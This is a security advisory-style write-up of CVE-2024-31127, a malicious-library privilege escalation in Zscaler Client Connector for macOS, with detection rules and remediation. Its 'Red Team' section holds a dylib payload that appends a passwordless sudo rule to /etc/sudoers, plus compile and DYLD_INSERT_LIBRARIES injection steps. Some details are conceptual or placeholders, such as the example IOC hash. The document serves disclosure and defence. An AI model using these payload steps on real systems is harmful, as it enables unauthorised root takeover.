CVE-2024-31127

Executive Summary

CVE-2024-31127 is a local privilege escalation vulnerability in the Zscaler Client Connector for macOS, affecting versions prior to 4.2.0.241. The flaw stems from improper verification of a loaded library, allowing a local attacker with low privileges to execute arbitrary code in the context of the Zscaler Client Connector process, which runs with elevated privileges. This can lead to full system compromise. The vulnerability has a CVSS score of 7.3 (High) and is currently unpatched in older versions. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native macOS application vulnerability in the Zscaler Client Connector.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.3 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required to exploit the vulnerability.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is required beyond the attacker’s own actions.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full access to sensitive data.
• Integrity Impact: High (I:H) – Ability to modify system files.
• Availability Impact: High (A:H) – Potential for denial of service.

Threat Level: High. Local privilege escalation vulnerabilities are often targeted in post-exploitation scenarios, especially in enterprise environments where Zscaler is deployed.

Deep Dive & Mechanics

The vulnerability exists in the Zscaler Client Connector for macOS due to improper verification of a loaded library. The application loads dynamic libraries (.dylib files) without adequately validating their origin or integrity. A local attacker can place a malicious library in a location that the Zscaler Client Connector searches for libraries, such as a directory with weak permissions or via a DYLD_INSERT_LIBRARIES environment variable injection.

When the Zscaler Client Connector starts or loads a specific component, it loads the attacker’s malicious library instead of the legitimate one. Because the Zscaler Client Connector runs with elevated privileges (often root or system-level), the malicious code executes with those same privileges, allowing the attacker to escalate from a low-privileged user to root.

The root cause is a lack of proper code signing verification or path validation for loaded libraries. The application should only load libraries from trusted, signed paths and verify their code signatures.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Loads library without verification
void loadLibrary(const char* libPath) {
    void* handle = dlopen(libPath, RTLD_NOW | RTLD_GLOBAL);
    if (!handle) {
        // Error handling
    }
}

Patched Code (Conceptual):

// Patched: Verifies library signature before loading
#include <Security/Security.h>

bool verifyLibrarySignature(const char* libPath) {
    SecStaticCodeRef staticCode = NULL;
    NSURL* url = [NSURL fileURLWithPath:@(libPath)];
    SecStaticCodeCreateWithPath((__bridge CFURLRef)url, kSecCSDefaultFlags, &staticCode);
    
    OSStatus status = SecStaticCodeCheckValidity(staticCode, kSecCSCheckAllArchitectures, NULL);
    if (status != errSecSuccess) {
        return false;
    }
    return true;
}

void loadLibrary(const char* libPath) {
    if (!verifyLibrarySignature(libPath)) {
        // Reject loading
        return;
    }
    void* handle = dlopen(libPath, RTLD_NOW | RTLD_GLOBAL);
    if (!handle) {
        // Error handling
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a macOS system with Zscaler Client Connector < 4.2.0.241
• A standard user account

Exploitation Steps:

1. Identify writable library path: Find a directory that the Zscaler Client Connector searches for libraries, such as /tmp or a user-specific directory.
2. Create malicious library: Write a malicious .dylib that executes a payload (e.g., spawn a root shell or add a new admin user).

   // malicious.c
   #include <stdlib.h>
   #include <unistd.h>
   
   __attribute__((constructor))
   void init() {
       // Execute payload as root
       system("echo 'attacker ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers");
   }
   

3. Compile the library:

   gcc -dynamiclib -o malicious.dylib malicious.c
   

4. Set environment variable (if applicable):

   export DYLD_INSERT_LIBRARIES=/path/to/malicious.dylib
   

5. Trigger the vulnerable component: Restart the Zscaler Client Connector or trigger a library load event.
6. Escalate privileges: The malicious library executes, granting root access.

Blue Team

Detection Steps:

1. Monitor library loads: Use fs_usage or dtrace to monitor dlopen calls from the Zscaler Client Connector.
2. Check for suspicious environment variables: Look for DYLD_INSERT_LIBRARIES set in the Zscaler process environment.
3. Audit file system changes: Monitor for new .dylib files in non-standard directories.
4. Review logs: Check system logs for unusual library loading errors or crashes.

Hunting Query (macOS Unified Logs):

log show --predicate 'process == "Zscaler Client Connector" AND eventMessage CONTAINS "dlopen"' --last 1h

Indicators of Compromise (IOCs)

• File Hashes (Malicious Library):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Process Names: Zscaler Client Connector, Zscaler
• File Paths: /tmp/malicious.dylib, ~/Library/Application Support/Zscaler/malicious.dylib
• Environment Variables: DYLD_INSERT_LIBRARIES set to a non-standard path
• Network Connections: Outbound connections from the Zscaler process to unknown IPs (if payload exfiltrates data)

Detection Engineering

YARA Rule

rule CVE_2024_31127_Malicious_Library {
    meta:
        description = "Detects malicious dylib files targeting CVE-2024-31127"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31127"
    strings:
        $s1 = "DYLD_INSERT_LIBRARIES" nocase
        $s2 = "Zscaler Client Connector" nocase
        $s3 = "dlopen" nocase
        $s4 = "/etc/sudoers" nocase
    condition:
        uint32(0) == 0xfeedfacf and  // Mach-O magic
        ($s1 or $s2 or $s3 or $s4)
}

Sigma Rule

title: CVE-2024-31127 - Zscaler Client Connector Library Loading
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious library loading by Zscaler Client Connector
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31127
logsource:
    product: macos
    service: unified_logs
detection:
    selection:
        process: "Zscaler Client Connector"
        eventMessage|contains: "dlopen"
    condition: selection
falsepositives:
    - Legitimate library updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31127 - Zscaler Client Connector Potential Exfiltration"; flow:to_server,established; content:"Zscaler Client Connector"; nocase; content:"POST"; http_method; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Zscaler Client Connector for Mac to version 4.2.0.241 or later.
2. Restrict local access: Limit user accounts to only those necessary.
3. Monitor library loads: Enable auditing for dlopen calls from the Zscaler process.

Long-term Fixes:

• Implement code signing verification for all loaded libraries.
• Use hardened runtime and library validation.
• Regularly audit third-party software for similar vulnerabilities.

Workarounds (if patching is not possible):

• Remove the Zscaler Client Connector from non-essential systems.
• Use endpoint detection and response (EDR) to monitor for exploitation attempts.

Valters IT
Securing Digital Frontiers